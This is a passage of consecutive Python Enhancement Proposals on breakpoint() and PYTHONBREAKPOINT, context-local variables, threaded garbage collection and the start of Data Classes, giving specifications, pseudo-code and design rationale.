sys.breakpointhook() so that you can always easily reset sys.breakpointhook() to the default value (e.g. by doing sys.breakpointhook = sys.__breakpointhook__). This is exactly the same as how the existing sys.displayhook() / sys.__displayhook__ and sys.excepthook() / sys.__excepthook__ work [hooks]. The signature of the built-in is breakpoint(*args, **kws). The positional and keyword arguments are passed straight through to sys.breakpointhook() and the signatures must match or a TypeError will be raised. The return from sys.breakpointhook() is passed back up to, and returned from breakpoint(). The rationale for this is based on the observation that the underlying debuggers may accept additional optional arguments. For example, IPython allows you to specify a string that gets printed when the break point is entered [ipython-embed]. As of Python 3.7, the pdb module also supports an optional header argument [pdb-header]. Environment variable The default implementation of sys.breakpointhook() consults a new environment variable called PYTHONBREAKPOINT. This environment variable can have various values: PYTHONBREAKPOINT=0 disables debugging. Specifically, with this value sys.breakpointhook() returns None immediately. PYTHONBREAKPOINT= (i.e. the empty string). This is the same as not setting the environment variable at all, in which case pdb.set_trace() is run as usual. PYTHONBREAKPOINT=some.importable.callable. In this case, sys.breakpointhook() imports the some.importable module and gets the callable object from the resulting module, which it then calls. The value may be a string with no dots, in which case it names a built-in callable, e.g. PYTHONBREAKPOINT=int. (Guido has expressed the preference for normal Python dotted-paths, not setuptools-style entry point syntax [syntax].) This environment variable allows external processes to control how breakpoints are handled. Some uses cases include: Completely disabling all accidental breakpoint() calls pushed to production. This could be accomplished by setting PYTHONBREAKPOINT=0 in the execution environment. Another suggestion by reviewers of the PEP was to set PYTHONBREAKPOINT=sys.exit in this case. IDE integration with specialized debuggers for embedded execution. The IDE would run the program in its debugging environment with PYTHONBREAKPOINT set to their internal debugging hook. PYTHONBREAKPOINT is re-interpreted every time sys.breakpointhook() is reached. This allows processes to change its value during the execution of a program and have breakpoint() respond to those changes. It is not considered a performance critical section since entering a debugger by definition stops execution. Thus, programs can do the following: os.environ['PYTHONBREAKPOINT'] = 'foo.bar.baz' breakpoint() # Imports foo.bar and calls foo.bar.baz() Overriding sys.breakpointhook defeats the default consultation of PYTHONBREAKPOINT. It is up to the overriding code to consult PYTHONBREAKPOINT if they want. If access to the PYTHONBREAKPOINT callable fails in any way (e.g. the import fails, or the resulting module does not contain the callable), a RuntimeWarning is issued, and no breakpoint function is called. Note that as with all other PYTHON* environment variables, PYTHONBREAKPOINT is ignored when the interpreter is started with -E. This means the default behavior will occur (i.e. pdb.set_trace() will run). There was some discussion about alternatively treating PYTHONBREAKPOINT=0 when -E as in effect, but the opinions were inconclusive, so it was decided that this wasn’t special enough for a special case. Implementation A pull request exists with the proposed implementation [impl]. While the actual implementation is in C, the Python pseudo-code for this feature looks roughly like the following: # In builtins. def breakpoint(*args, **kws): import sys missing = object() hook = getattr(sys, 'breakpointhook', missing) if hook is missing: raise RuntimeError('lost sys.breakpointhook') return hook(*args, **kws) # In sys. def breakpointhook(*args, **kws): import importlib, os, warnings hookname = os.getenv('PYTHONBREAKPOINT') if hookname is None or len(hookname) == 0: hookname = 'pdb.set_trace' elif hookname == '0': return None modname, dot, funcname = hookname.rpartition('.') if dot == '': modname = 'builtins' try: module = importlib.import_module(modname) hook = getattr(module, funcname) except: warnings.warn( 'Ignoring unimportable $PYTHONBREAKPOINT: {}'.format( hookname), RuntimeWarning) return None return hook(*args, **kws) __breakpointhook__ = breakpointhook Rejected alternatives A new keyword Originally, the author considered a new keyword, or an extension to an existing keyword such as break here. This is rejected on several fronts. A brand new keyword would require a __future__ to enable it since almost any new keyword could conflict with existing code. This negates the ease with which you can enter the debugger. An extended keyword such as break here, while more readable and not requiring a __future__ would tie the keyword extension to this new feature, preventing more useful extensions such as those proposed in PEP 548. A new keyword would require a modified grammar and likely a new bytecode. Each of these makes the implementation more complex. A new built-in breaks no existing code (since any existing module global would just shadow the built-in) and is quite easy to implement. sys.breakpoint() Why not sys.breakpoint()? Requiring an import to invoke the debugger is explicitly rejected because sys is not imported in every module. That just requires more typing and would lead to: import sys; sys.breakpoint() which inherits several of the problems this PEP aims to solve. Version History 2019-10-13 Add missing return None in except clause to pseudo-code. 2017-09-13 The PYTHONBREAKPOINT environment variable is made a first class feature. 2017-09-07 debug() renamed to breakpoint() Signature changed to breakpoint(*args, **kws) which is passed straight through to sys.breakpointhook(). References [ipython-embed] http://ipython.readthedocs.io/en/stable/api/generated/IPython.terminal.embed.html [pdb-header] https://docs.python.org/3.7/library/pdb.html#pdb.set_trace [linters] http://flake8.readthedocs.io/en/latest/ [js-debugger] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/debugger [hooks] https://docs.python.org/3/library/sys.html#sys.displayhook [syntax] http://setuptools.readthedocs.io/en/latest/setuptools.html?highlight=console#automatic-script-creation [impl] https://github.com/python/cpython/pull/3355 Copyright This document has been placed in the public domain.

Final

PEP 553 – Built-in breakpoint()

Standards Track

This PEP proposes adding a new built-in function called breakpoint() which enters a Python debugger at the point of the call. Additionally, two new names are added to the sys module to make the choice of which debugger is entered configurable.

PEP 555 – Context-local variables (contextvars) Author: Koos Zevenhoven Status: Withdrawn Type: Standards Track Created: 06-Sep-2017 Python-Version: 3.7 Post-History: 06-Sep-2017 Table of Contents Abstract Rationale Proposal Semantics and higher-level API Core concept Refactoring into subroutines Semantics for generators and generator-based coroutines Special functionality for framework authors Leaking yields Capturing contextvar assignments Getting a snapshot of context state Running code in a clean state Implementation Data structures and implementation of the core concept Implementation of generator and coroutine semantics More on implementation Backwards compatibility Open Issues Out-of-order de-assignments Rejected Ideas Dynamic scoping linked to subroutine scopes Acknowledgements References Copyright Abstract Sometimes, in special cases, it is desired that code can pass information down the function call chain to the callees without having to explicitly pass the information as arguments to each function in the call chain. This proposal describes a construct which allows code to explicitly switch in and out of a context where a certain context variable has a given value assigned to it. This is a modern alternative to some uses of things like global variables in traditional single-threaded (or thread-unsafe) code and of thread-local storage in traditional concurrency-unsafe code (single- or multi-threaded). In particular, the proposed mechanism can also be used with more modern concurrent execution mechanisms such as asynchronously executed coroutines, without the concurrently executed call chains interfering with each other’s contexts. The “call chain” can consist of normal functions, awaited coroutines, or generators. The semantics of context variable scope are equivalent in all cases, allowing code to be refactored freely into subroutines (which here refers to functions, sub-generators or sub-coroutines) without affecting the semantics of context variables. Regarding implementation, this proposal aims at simplicity and minimum changes to the CPython interpreter and to other Python interpreters. Rationale Consider a modern Python call chain (or call tree), which in this proposal refers to any chained (nested) execution of subroutines, using any possible combinations of normal function calls, or expressions using await or yield from. In some cases, passing necessary information down the call chain as arguments can substantially complicate the required function signatures, or it can even be impossible to achieve in practice. In these cases, one may search for another place to store this information. Let us look at some historical examples. The most naive option is to assign the value to a global variable or similar, where the code down the call chain can access it. However, this immediately makes the code thread-unsafe, because with multiple threads, all threads assign to the same global variable, and another thread can interfere at any point in the call chain. Sooner or later, someone will probably find a reason to run the same code in parallel threads. A somewhat less naive option is to store the information as per-thread information in thread-local storage, where each thread has its own “copy” of the variable which other threads cannot interfere with. Although non-ideal, this has been the best solution in many cases. However, thanks to generators and coroutines, the execution of the call chain can be suspended and resumed, allowing code in other contexts to run concurrently. Therefore, using thread-local storage is concurrency-unsafe, because other call chains in other contexts may interfere with the thread-local variable. Note that in the above two historical approaches, the stored information has the widest available scope without causing problems. For a third solution along the same path, one would first define an equivalent of a “thread” for asynchronous execution and concurrency. This could be seen as the largest amount of code and nested calls that is guaranteed to be executed sequentially without ambiguity in execution order. This might be referred to as concurrency-local or task-local storage. In this meaning of “task”, there is no ambiguity in the order of execution of the code within one task. (This concept of a task is close to equivalent to a Task in asyncio, but not exactly.) In such concurrency-locals, it is possible to pass information down the call chain to callees without another code path interfering with the value in the background. Common to the above approaches is that they indeed use variables with a wide but just-narrow-enough scope. Thread-locals could also be called thread-wide globals—in single-threaded code, they are indeed truly global. And task-locals could be called task-wide globals, because tasks can be very big. The issue here is that neither global variables, thread-locals nor task-locals are really meant to be used for this purpose of passing information of the execution context down the call chain. Instead of the widest possible variable scope, the scope of the variables should be controlled by the programmer, typically of a library, to have the desired scope—not wider. In other words, task-local variables (and globals and thread-locals) have nothing to do with the kind of context-bound information passing that this proposal intends to enable, even if task-locals can be used to emulate the desired semantics. Therefore, in the following, this proposal describes the semantics and the outlines of an implementation for context-local variables (or context variables, contextvars). In fact, as a side effect of this PEP, an async framework can use the proposed feature to implement task-local variables. Proposal Because the proposed semantics are not a direct extension to anything already available in Python, this proposal is first described in terms of semantics and API at a fairly high level. In particular, Python with statements are heavily used in the description, as they are a good match with the proposed semantics. However, the underlying __enter__ and __exit__ methods correspond to functions in the lower-level speed-optimized (C) API. For clarity of this document, the lower-level functions are not explicitly named in the definition of the semantics. After describing the semantics and high-level API, the implementation is described, going to a lower level. Semantics and higher-level API Core concept A context-local variable is represented by a single instance of contextvars.Var, say cvar. Any code that has access to the cvar object can ask for its value with respect to the current context. In the high-level API, this value is given by the cvar.value property: cvar = contextvars.Var(default="the default value", description="example context variable") assert cvar.value == "the default value" # default still applies # In code examples, all ``assert`` statements should # succeed according to the proposed semantics. No assignments to cvar have been applied for this context, so cvar.value gives the default value. Assigning new values to contextvars is done in a highly scope-aware manner: with cvar.assign(new_value): assert cvar.value is new_value # Any code here, or down the call chain from here, sees: # cvar.value is new_value # unless another value has been assigned in a # nested context assert cvar.value is new_value # the assignment of ``cvar`` to ``new_value`` is no longer visible assert cvar.value == "the default value" Here, cvar.assign(value) returns another object, namely contextvars.Assignment(cvar, new_value). The essential part here is that applying a context variable assignment (Assignment.__enter__) is paired with a de-assignment (Assignment.__exit__). These operations set the bounds for the scope of the assigned value. Assignments to the same context variable can be nested to override the outer assignment in a narrower context: assert cvar.value == "the default value" with cvar.assign("outer"): assert cvar.value == "outer" with cvar.assign("inner"): assert cvar.value == "inner" assert cvar.value == "outer" assert cvar.value == "the default value" Also multiple variables can be assigned to in a nested manner without affecting each other: cvar1 = contextvars.Var() cvar2 = contextvars.Var() assert cvar1.value is None # default is None by default assert cvar2.value is None with cvar1.assign(value1): assert cvar1.value is value1 assert cvar2.value is None with cvar2.assign(value2): assert cvar1.value is value1 assert cvar2.value is value2 assert cvar1.value is value1 assert cvar2.value is None assert cvar1.value is None assert cvar2.value is None Or with more convenient Python syntax: with cvar1.assign(value1), cvar2.assign(value2): assert cvar1.value is value1 assert cvar2.value is value2 In another context, in another thread or otherwise concurrently executed task or code path, the context variables can have a completely different state. The programmer thus only needs to worry about the context at hand. Refactoring into subroutines Code using contextvars can be refactored into subroutines without affecting the semantics. For instance: assi = cvar.assign(new_value) def apply(): assi.__enter__() assert cvar.value == "the default value" apply() assert cvar.value is new_value assi.__exit__() assert cvar.value == "the default value" Or similarly in an asynchronous context where await expressions are used. The subroutine can now be a coroutine: assi = cvar.assign(new_value) async def apply(): assi.__enter__() assert cvar.value == "the default value" await apply() assert cvar.value is new_value assi.__exit__() assert cvar.value == "the default value" Or when the subroutine is a generator: def apply(): yield assi.__enter__() which is called using yield from apply() or with calls to next or .send. This is discussed further in later sections. Semantics for generators and generator-based coroutines Generators, coroutines and async generators act as subroutines in much the same way that normal functions do. However, they have the additional possibility of being suspended by yield expressions. Assignment contexts entered inside a generator are normally preserved across yields: def genfunc(): with cvar.assign(new_value): assert cvar.value is new_value yield assert cvar.value is new_value g = genfunc() next(g) assert cvar.value == "the default value" with cvar.assign(another_value): next(g) However, the outer context visible to the generator may change state across yields: def genfunc(): assert cvar.value is value2 yield assert cvar.value is value1 yield with cvar.assign(value3): assert cvar.value is value3 with cvar.assign(value1): g = genfunc() with cvar.assign(value2): next(g) next(g) next(g) assert cvar.value is value1 Similar semantics apply to async generators defined by async def ... yield ... ). By default, values assigned inside a generator do not leak through yields to the code that drives the generator. However, the assignment contexts entered and left open inside the generator do become visible outside the generator after the generator has finished with a StopIteration or another exception: assi = cvar.assign(new_value) def genfunc(): yield assi.__enter__(): yield g = genfunc() assert cvar.value == "the default value" next(g) assert cvar.value == "the default value" next(g) # assi.__enter__() is called here assert cvar.value == "the default value" next(g) assert cvar.value is new_value assi.__exit__() Special functionality for framework authors Frameworks, such as asyncio or third-party libraries, can use additional functionality in contextvars to achieve the desired semantics in cases which are not determined by the Python interpreter. Some of the semantics described in this section are also afterwards used to describe the internal implementation. Leaking yields Using the contextvars.leaking_yields decorator, one can choose to leak the context through yield expressions into the outer context that drives the generator: @contextvars.leaking_yields def genfunc(): assert cvar.value == "outer" with cvar.assign("inner"): yield assert cvar.value == "inner" assert cvar.value == "outer" g = genfunc(): with cvar.assign("outer"): assert cvar.value == "outer" next(g) assert cvar.value == "inner" next(g) assert cvar.value == "outer" Capturing contextvar assignments Using contextvars.capture(), one can capture the assignment contexts that are entered by a block of code. The changes applied by the block of code can then be reverted and subsequently reapplied, even in another context: assert cvar1.value is None # default assert cvar2.value is None # default assi1 = cvar1.assign(value1) assi2 = cvar1.assign(value2) with contextvars.capture() as delta: assi1.__enter__() with cvar2.assign("not captured"): assert cvar2.value is "not captured" assi2.__enter__() assert cvar1.value is value2 delta.revert() assert cvar1.value is None assert cvar2.value is None ... with cvar1.assign(1), cvar2.assign(2): delta.reapply() assert cvar1.value is value2 assert cvar2.value == 2 However, reapplying the “delta” if its net contents include deassignments may not be possible (see also Implementation and Open Issues). Getting a snapshot of context state The function contextvars.get_local_state() returns an object representing the applied assignments to all context-local variables in the context where the function is called. This can be seen as equivalent to using contextvars.capture() to capture all context changes from the beginning of execution. The returned object supports methods .revert() and reapply() as above. Running code in a clean state Although it is possible to revert all applied context changes using the above primitives, a more convenient way to run a block of code in a clean context is provided: with context_vars.clean_context(): # here, all context vars start off with their default values # here, the state is back to what it was before the with block. Implementation This section describes to a variable level of detail how the described semantics can be implemented. At present, an implementation aimed at simplicity but sufficient features is described. More details will be added later. Alternatively, a somewhat more complicated implementation offers minor additional features while adding some performance overhead and requiring more code in the implementation. Data structures and implementation of the core concept Each thread of the Python interpreter keeps its own stack of contextvars.Assignment objects, each having a pointer to the previous (outer) assignment like in a linked list. The local state (also returned by contextvars.get_local_state()) then consists of a reference to the top of the stack and a pointer/weak reference to the bottom of the stack. This allows efficient stack manipulations. An object produced by contextvars.capture() is similar, but refers to only a part of the stack with the bottom reference pointing to the top of the stack as it was in the beginning of the capture block. Now, the stack evolves according to the assignment __enter__ and __exit__ methods. For example: cvar1 = contextvars.Var() cvar2 = contextvars.Var() # stack: [] assert cvar1.value is None assert cvar2.value is None with cvar1.assign("outer"): # stack: [Assignment(cvar1, "outer")] assert cvar1.value == "outer" with cvar1.assign("inner"): # stack: [Assignment(cvar1, "outer"), # Assignment(cvar1, "inner")] assert cvar1.value == "inner" with cvar2.assign("hello"): # stack: [Assignment(cvar1, "outer"), # Assignment(cvar1, "inner"), # Assignment(cvar2, "hello")] assert cvar2.value == "hello" # stack: [Assignment(cvar1, "outer"), # Assignment(cvar1, "inner")] assert cvar1.value == "inner" assert cvar2.value is None # stack: [Assignment(cvar1, "outer")] assert cvar1.value == "outer" # stack: [] assert cvar1.value is None assert cvar2.value is None Getting a value from the context using cvar1.value can be implemented as finding the topmost occurrence of a cvar1 assignment on the stack and returning the value there, or the default value if no assignment is found on the stack. However, this can be optimized to instead be an O(1) operation in most cases. Still, even searching through the stack may be reasonably fast since these stacks are not intended to grow very large. The above description is already sufficient for implementing the core concept. Suspendable frames require some additional attention, as explained in the following. Implementation of generator and coroutine semantics Within generators, coroutines and async generators, assignments and deassignments are handled in exactly the same way as anywhere else. However, some changes are needed in the builtin generator methods send, __next__, throw and close. Here is the Python equivalent of the changes needed in send for a generator (here _old_send refers to the behavior in Python 3.6): def send(self, value): if self.gi_contextvars is LEAK: # If decorated with contextvars.leaking_yields. # Nothing needs to be done to leak context through yields :) return self._old_send(value) try: with contextvars.capture() as delta: if self.gi_contextvars: # non-zero captured content from previous iteration self.gi_contextvars.reapply() ret = self._old_send(value) except Exception: raise # back to the calling frame (e.g. StopIteration) else: # suspending, revert context changes but save them for later delta.revert() self.gi_contextvars = delta return ret The corresponding modifications to the other methods is essentially identical. The same applies to coroutines and async generators. For code that does not use contextvars, the additions are O(1) and essentially reduce to a couple of pointer comparisons. For code that does use contextvars, the additions are still O(1) in most cases. More on implementation The rest of the functionality, including contextvars.leaking_yields, contextvars.capture(), contextvars.get_local_state() and contextvars.clean_context() are in fact quite straightforward to implement, but their implementation will be discussed further in later versions of this proposal. Caching of assigned values is somewhat more complicated, and will be discussed later, but it seems that most cases should achieve O(1) complexity. Backwards compatibility There are no direct backwards-compatibility concerns, since a completely new feature is proposed. However, various traditional uses of thread-local storage may need a smooth transition to contextvars so they can be concurrency-safe. There are several approaches to this, including emulating task-local storage with a little bit of help from async frameworks. A fully general implementation cannot be provided, because the desired semantics may depend on the design of the framework. Another way to deal with the transition is for code to first look for a context created using contextvars. If that fails because a new-style context has not been set or because the code runs on an older Python version, a fallback to thread-local storage is used. Open Issues Out-of-order de-assignments In this proposal, all variable deassignments are made in the opposite order compared to the preceding assignments. This has two useful properties: it encourages using with statements to define assignment scope and has a tendency to catch errors early (forgetting a .__exit__() call often results in a meaningful error. To have this as a requirement is beneficial also in terms of implementation simplicity and performance. Nevertheless, allowing out-of-order context exits is not completely out of the question, and reasonable implementation strategies for that do exist. Rejected Ideas Dynamic scoping linked to subroutine scopes The scope of value visibility should not be determined by the way the code is refactored into subroutines. It is necessary to have per-variable control of the assignment scope. Acknowledgements To be added. References To be added. Copyright This document has been placed in the public domain.

Withdrawn

PEP 555 – Context-local variables (contextvars)

Standards Track

Sometimes, in special cases, it is desired that code can pass information down the function call chain to the callees without having to explicitly pass the information as arguments to each function in the call chain. This proposal describes a construct which allows code to explicitly switch in and out of a context where a certain context variable has a given value assigned to it. This is a modern alternative to some uses of things like global variables in traditional single-threaded (or thread-unsafe) code and of thread-local storage in traditional concurrency-unsafe code (single- or multi-threaded). In particular, the proposed mechanism can also be used with more modern concurrent execution mechanisms such as asynchronously executed coroutines, without the concurrently executed call chains interfering with each other’s contexts.

PEP 556 – Threaded garbage collection Author: Antoine Pitrou <solipsis at pitrou.net> Status: Deferred Type: Standards Track Created: 08-Sep-2017 Python-Version: 3.7 Post-History: 08-Sep-2017 Table of Contents Deferral Notice Abstract Terminology Rationale Proposal New public APIs Intended use Non-goals Internal details gc module threading module Pseudo-code Discussion Default mode Explicit collections Impact on memory use Impact on CPU consumption Impact on GC pauses Open issues Implementation References Copyright Deferral Notice This PEP is currently not being actively worked on. It may be revived in the future. The main missing steps are: polish the implementation, adapting the test suite where necessary; ensure setting threaded garbage collection does not disrupt existing code in unexpected ways (expected impact includes lengthening the lifetime of objects in reference cycles). Abstract This PEP proposes a new optional mode of operation for CPython’s cyclic garbage collector (GC) where implicit (i.e. opportunistic) collections happen in a dedicated thread rather than synchronously. Terminology An “implicit” GC run (or “implicit” collection) is one that is triggered opportunistically based on a certain heuristic computed over allocation statistics, whenever a new allocation is requested. Details of the heuristic are not relevant to this PEP, as it does not propose to change it. An “explicit” GC run (or “explicit” collection) is one that is requested programmatically by an API call such as gc.collect. “Threaded” refers to the fact that GC runs happen in a dedicated thread separate from sequential execution of application code. It does not mean “concurrent” (the Global Interpreter Lock, or GIL, still serializes execution among Python threads including the dedicated GC thread) nor “parallel” (the GC is not able to distribute its work onto several threads at once to lower wall-clock latencies of GC runs). Rationale The mode of operation for the GC has always been to perform implicit collections synchronously. That is, whenever the aforementioned heuristic is activated, execution of application code in the current thread is suspended and the GC is launched in order to reclaim dead reference cycles. There is a catch, though. Over the course of reclaiming dead reference cycles (and any ancillary objects hanging at those cycles), the GC can execute arbitrary finalization code in the form of __del__ methods and weakref callbacks. Over the years, Python has been used for more and more sophisticated purposes, and it is increasingly common for finalization code to perform complex tasks, for example in distributed systems where loss of an object may require notifying other (logical or physical) nodes. Interrupting application code at arbitrary points to execute finalization code that may rely on a consistent internal state and/or on acquiring synchronization primitives gives rise to reentrancy issues that even the most seasoned experts have trouble fixing properly [1]. This PEP bases itself on the observation that, despite the apparent similarities, same-thread reentrancy is a fundamentally harder problem than multi-thread synchronization. Instead of letting each developer or library author struggle with extremely hard reentrancy issues, one by one, this PEP proposes to allow the GC to run in a separate thread where well-known multi-thread synchronization practices are sufficient. Proposal Under this PEP, the GC has two modes of operation: “serial”, which is the default and legacy mode, where an implicit GC run is performed immediately in the thread that detects such an implicit run is desired (based on the aforementioned allocation heuristic). “threaded”, which can be explicitly enabled at runtime on a per-process basis, where implicit GC runs are scheduled whenever the allocation heuristic is triggered, but run in a dedicated background thread. Hard reentrancy problems which plague sophisticated uses of finalization callbacks in the “serial” mode become relatively easy multi-thread synchronization problems in the “threaded” mode of operation. The GC also traditionally allows for explicit GC runs, using the Python API gc.collect and the C API PyGC_Collect. The visible semantics of these two APIs are left unchanged: they perform a GC run immediately when called, and only return when the GC run is finished. New public APIs Two new Python APIs are added to the gc module: gc.set_mode(mode) sets the current mode of operation (either “serial” or “threaded”). If setting to “serial” and the current mode is “threaded”, then the function also waits for the GC thread to end. gc.get_mode() returns the current mode of operation. It is allowed to switch back and forth between modes of operation. Intended use Given the per-process nature of the switch and its repercussions on semantics of all finalization callbacks, it is recommended that it is set at the beginning of an application’s code (and/or in initializers for child processes e.g. when using multiprocessing). Library functions should probably not mess with this setting, just as they shouldn’t call gc.enable or gc.disable, but there’s nothing to prevent them from doing so. Non-goals This PEP does not address reentrancy issues with other kinds of asynchronous code execution (for example signal handlers registered with the signal module). The author believes that the overwhelming majority of painful reentrancy issues occur with finalizers. Most of the time, signal handlers are able to set a single flag and/or wake up a file descriptor for the main program to notice. As for those signal handlers which raise an exception, they have to execute in-thread. This PEP also does not change the execution of finalization callbacks when they are called as part of regular reference counting, i.e. when releasing a visible reference drops an object’s reference count to zero. Since such execution happens at deterministic points in code, it is usually not a problem. Internal details TODO: Update this section to conform to the current implementation. gc module An internal flag gc_is_threaded is added, telling whether GC is serial or threaded. An internal structure gc_mutex is added to avoid two GC runs at once: static struct { PyThread_type_lock lock; /* taken when collecting */ PyThreadState *owner; /* whichever thread is currently collecting (NULL if no collection is taking place) */ } gc_mutex; An internal structure gc_thread is added to handle synchronization with the GC thread: static struct { PyThread_type_lock wakeup; /* acts as an event to wake up the GC thread */ int collection_requested; /* non-zero if collection requested */ PyThread_type_lock done; /* acts as an event signaling the GC thread has exited */ } gc_thread; threading module Two private functions are added to the threading module: threading._ensure_dummy_thread(name) creates and registers a Thread instance for the current thread with the given name, and returns it. threading._remove_dummy_thread(thread) removes the given thread (as returned by _ensure_dummy_thread) from the threading module’s internal state. The purpose of these two functions is to improve debugging and introspection by letting threading.current_thread() return a more meaningfully-named object when called inside a finalization callback in the GC thread. Pseudo-code Here is a proposed pseudo-code for the main primitives, public and internal, required for implementing this PEP. All of them will be implemented in C and live inside the gc module, unless otherwise noted: def collect_with_callback(generation): """ Collect up to the given *generation*. """ # Same code as currently (see collect_with_callback() in gcmodule.c) def collect_generations(): """ Collect as many generations as desired by the heuristic. """ # Same code as currently (see collect_generations() in gcmodule.c) def lock_and_collect(generation=-1): """ Perform a collection with thread safety. """ me = PyThreadState_GET() if gc_mutex.owner == me: # reentrant GC collection request, bail out return Py_BEGIN_ALLOW_THREADS gc_mutex.lock.acquire() Py_END_ALLOW_THREADS gc_mutex.owner = me try: if generation >= 0: return collect_with_callback(generation) else: return collect_generations() finally: gc_mutex.owner = NULL gc_mutex.lock.release() def schedule_gc_request(): """ Ask the GC thread to run an implicit collection. """ assert gc_is_threaded == True # Note this is extremely fast if a collection is already requested if gc_thread.collection_requested == False: gc_thread.collection_requested = True gc_thread.wakeup.release() def is_implicit_gc_desired(): """ Whether an implicit GC run is currently desired based on allocation stats. Return a generation number, or -1 if none desired. """ # Same heuristic as currently (see _PyObject_GC_Alloc in gcmodule.c) def PyGC_Malloc(): """ Allocate a GC-enabled object. """ # Update allocation statistics (same code as currently, omitted for brevity) if is_implicit_gc_desired(): if gc_is_threaded: schedule_gc_request() else: lock_and_collect() # Go ahead with allocation (same code as currently, omitted for brevity) def gc_thread(interp_state): """ Dedicated loop for threaded GC. """ # Init Python thread state (omitted, see t_bootstrap in _threadmodule.c) # Optional: init thread in Python threading module, for better introspection me = threading._ensure_dummy_thread(name="GC thread") while gc_is_threaded == True: Py_BEGIN_ALLOW_THREADS gc_thread.wakeup.acquire() Py_END_ALLOW_THREADS if gc_thread.collection_requested != 0: gc_thread.collection_requested = 0 lock_and_collect(generation=-1) threading._remove_dummy_thread(me) # Signal we're exiting gc_thread.done.release() # Free Python thread state (omitted) def gc.set_mode(mode): """ Set current GC mode. This is a process-global setting. """ if mode == "threaded": if not gc_is_threaded == False: # Launch thread gc_thread.done.acquire(block=False) # should not fail gc_is_threaded = True PyThread_start_new_thread(gc_thread) elif mode == "serial": if gc_is_threaded == True: # Wake up thread, asking it to end gc_is_threaded = False gc_thread.wakeup.release() # Wait for thread exit Py_BEGIN_ALLOW_THREADS gc_thread.done.acquire() Py_END_ALLOW_THREADS gc_thread.done.release() else: raise ValueError("unsupported mode %r" % (mode,)) def gc.get_mode(mode): """ Get current GC mode. """ return "threaded" if gc_is_threaded else "serial" def gc.collect(generation=2): """ Schedule collection of the given generation and wait for it to finish. """ return lock_and_collect(generation) Discussion Default mode One may wonder whether the default mode should simply be changed to “threaded”. For multi-threaded applications, it would probably not be a problem: those applications must already be prepared for finalization handlers to be run in arbitrary threads. In single-thread applications, however, it is currently guaranteed that finalizers will always be called in the main thread. Breaking this property may induce subtle behaviour changes or bugs, for example if finalizers rely on some thread-local values. Another problem is when a program uses fork() for concurrency. Calling fork() from a single-threaded program is safe, but it’s fragile (to say the least) if the program is multi-threaded. Explicit collections One may ask whether explicit collections should also be delegated to the background thread. The answer is it doesn’t really matter: since gc.collect and PyGC_Collect actually wait for the collection to end (breaking this property would break compatibility), delegating the actual work to a background thread wouldn’t ease synchronization with the thread requesting an explicit collection. In the end, this PEP choses the behaviour that seems simpler to implement based on the pseudo-code above. Impact on memory use The “threaded” mode incurs a slight delay in implicit collections compared to the default “serial” mode. This obviously may change the memory profile of certain applications. By how much remains to be measured in real-world use, but we expect the impact to remain minor and bearable. First because implicit collections are based on a heuristic whose effect does not result in deterministic visible behaviour anyway. Second because the GC deals with reference cycles while many objects are reclaimed immediately when their last visible reference disappears. Impact on CPU consumption The pseudo-code above adds two lock operations for each implicit collection request in “threaded” mode: one in the thread making the request (a release call) and one in the GC thread (an acquire call). It also adds two other lock operations, regardless of the current mode, around each actual collection. We expect the cost of those lock operations to be very small, on modern systems, compared to the actual cost of crawling through the chains of pointers during the collection itself (“pointer chasing” being one of the hardest workloads on modern CPUs, as it lends itself poorly to speculation and superscalar execution). Actual measurements on worst-case mini-benchmarks may help provide reassuring upper bounds. Impact on GC pauses While this PEP does not concern itself with GC pauses, there is a practical chance that releasing the GIL at some point during an implicit collection (for example by virtue of executing a pure Python finalizer) will allow application code to run in-between, lowering the visible GC pause time for some applications. If this PEP is accepted, future work may try to better realize this potential by speculatively releasing the GIL during collections, though it is unclear how doable that is. Open issues gc.set_mode should probably be protected against multiple concurrent invocations. Also, it should raise when called from inside a GC run (i.e. from a finalizer). What happens at shutdown? Does the GC thread run until _PyGC_Fini() is called? Implementation A draft implementation is available in the threaded_gc branch [2] of the author’s Github fork [3]. References [1] https://bugs.python.org/issue14976 [2] https://github.com/pitrou/cpython/tree/threaded_gc [3] https://github.com/pitrou/cpython/ Copyright This document has been placed in the public domain.

Deferred

PEP 556 – Threaded garbage collection

Standards Track

This PEP proposes a new optional mode of operation for CPython’s cyclic garbage collector (GC) where implicit (i.e. opportunistic) collections happen in a dedicated thread rather than synchronously.

PEP 557 – Data Classes Author: Eric V. Smith <eric at trueblade.com> Status: Final Type: Standards Track Created: 02-Jun-2017 Python-Version: 3.7 Post-History: 08-Sep-2017, 25-Nov-2017, 30-Nov-2017, 01-Dec-2017, 02-Dec-2017, 06-Jan-2018, 04-Mar-2018 Resolution: Python-Dev message Table of Contents Notice for Reviewers Abstract Rationale Specification Field objects post-init processing Class variables Init-only variables Frozen instances Inheritance Default factory functions Mutable default values Module level helper functions Discussion python-ideas discussion Support for automatically setting __slots__? Why not just use namedtuple? Why not just use typing.NamedTuple? Why not just use attrs? post-init parameters asdict and astuple function names Rejected ideas Copying init=False fields after new object creation in replace() Automatically support mutable default values Examples Custom __init__ method A complicated example Acknowledgements References Copyright Notice for Reviewers This PEP and the initial implementation were drafted in a separate repo: https://github.com/ericvsmith/dataclasses. Before commenting in a public forum please at least read the discussion listed at the end of this PEP. Abstract This PEP describes an addition to the standard library called Data Classes. Although they use a very different mechanism, Data Classes can be thought of as “mutable namedtuples with defaults”. Because Data Classes use normal class definition syntax, you are free to use inheritance, metaclasses, docstrings, user-defined methods, class factories, and other Python class features. A class decorator is provided which inspects a class definition for variables with type annotations as defined in PEP 526, “Syntax for Variable Annotations”. In this document, such variables are called fields. Using these fields, the decorator adds generated method definitions to the class to support instance initialization, a repr, comparison methods, and optionally other methods as described in the Specification section. Such a class is called a Data Class, but there’s really nothing special about the class: the decorator adds generated methods to the class and returns the same class it was given. As an example: @dataclass class InventoryItem: '''Class for keeping track of an item in inventory.''' name: str unit_price: float quantity_on_hand: int = 0 def total_cost(self) -> float: return self.unit_price * self.quantity_on_hand The @dataclass decorator will add the equivalent of these methods to the InventoryItem class: def __init__(self, name: str, unit_price: float, quantity_on_hand: int = 0) -> None: self.name = name self.unit_price = unit_price self.quantity_on_hand = quantity_on_hand def __repr__(self): return f'InventoryItem(name={self.name!r}, unit_price={self.unit_price!r}, quantity_on_hand={self.quantity_on_hand!r})' def __eq__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) == (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented def __ne__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) != (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented def 